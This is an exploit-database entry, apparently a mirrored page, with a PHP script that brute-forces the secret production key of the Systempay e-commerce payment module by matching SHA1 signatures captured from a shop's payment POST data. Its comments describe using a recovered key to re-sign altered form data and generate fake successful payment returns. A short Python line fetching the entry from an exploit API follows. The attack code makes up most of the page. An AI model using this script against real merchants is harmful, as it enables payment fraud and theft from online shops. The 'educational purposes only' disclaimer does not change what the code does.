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"Ecommerce Systempay 1.0 - Production KEY Brute Force"

Author

Exploit author

live3

Platform

Exploit platform

php

Release date

Exploit published date

2020-02-06

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# Exploit Title: Ecommerce Systempay 1.0 - Production KEY Brute Force
# Author: live3
# Date: 2020-02-05
# Vendor Homepage: https://paiement.systempay.fr/doc/fr-FR/
# Software Link: https://paiement.systempay.fr/doc/fr-FR/module-de-paiement-gratuit/
# Tested on: MacOs
# Version: ALL

<?php
/**
 * 
 * INFORMATION
 * Exploit Title:        Ecommerce Systempay decode secret production KEY / Brute Force
 * Author:               live3
 * Date:                 2020-02-05
 * Vendor Homepage:      https://paiement.systempay.fr/doc/fr-FR/
 * Tested on:            MacOs
 * Version:              ALL
 * Prerequisite:         Find a ecommerce who is using Systempay AND SHA1 to crypt signature. 
 * Put some product on cart and choose systempay for payment method.
 * get all data from post sent to https://paiement.systempay.fr/vads-payment/
 * keep signature as reference and all vads fields to create new signature.
 * Use script to make a brute force on Secret product key (16 char length)
 *
 * Usage: Once you have the production KEY all modifications on form data will be accepted by systempay ! (You will just generate new signature with your changes)
 * You will be able to generate a success payment return !
 *
 * FOR EDUCATIONAL PURPOSES ONLY. DO NOT USE THIS SCRIPT FOR ILLEGAL ACTIVITIES.
 * THE AUTHOR IS NOT RESPONSIBLE FOR ANY MISUSE OR DAMAGE.
 * 
 */

// Set the start number you want (16 char length)
$last_key_check = '1000000000000000';

// Assign var
$array_key = array();
$sentence = '';
$how_many_key_to_check_for_loop = 10;

// Put here signature extract from POST DATA
// Example of SHA1 from string : test
$signature_from_post = 'a94a8fe5ccb19ba61c4c0873d391e987982fbbd3';

// Copy paste your content decoded of POST DATA
$form_data = '
vads_field_1: VALUE1
vads_field_2: VALUE2
// AND ALL OTHER FIELDS...
';

$array = explode(PHP_EOL, $form_data);

foreach ($array as $data) {
    if ($data != '') {
        $elements = explode(': ', $data);
        if (!empty($elements)) {
            $array_key[trim($elements[0])] = $elements[1];
        }
    }
}

ksort($array_key);

foreach ($array_key as $value) {
    $sentence .= $value . '+';
}


echo 'Signature from POST DATA : '.$signature_from_post.'<br/>';

$found = false;
$get_key = '';

// first check
if (sha1($sentence.$last_key_check) != $signature_from_post) {
    for ($i = $last_key_check; $i <= $last_key_check+$how_many_key_to_check_for_loop; $i++) {
        $get_key = $i;
        if (sha1($sentence.$i) == $signature_from_post) {
            echo 'Key found : '.$i.'<br/>';
            $found = true;
            break;
        }
    }
} else {
    $found = true;
}


if ($found) {
    $test_sha = sha1($sentence.$get_key);
    echo 'Signature calc : '.$test_sha.'<br/><hr/>';
} else {
    echo 'Last key check : '.$get_key.'<br/><hr/>';
}


echo 'Your sequence : '.$sentence.'<br/>';
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import requests
response = requests.get('https://www.nmmapper.com/api/exploitdetails/48017/?format=json')

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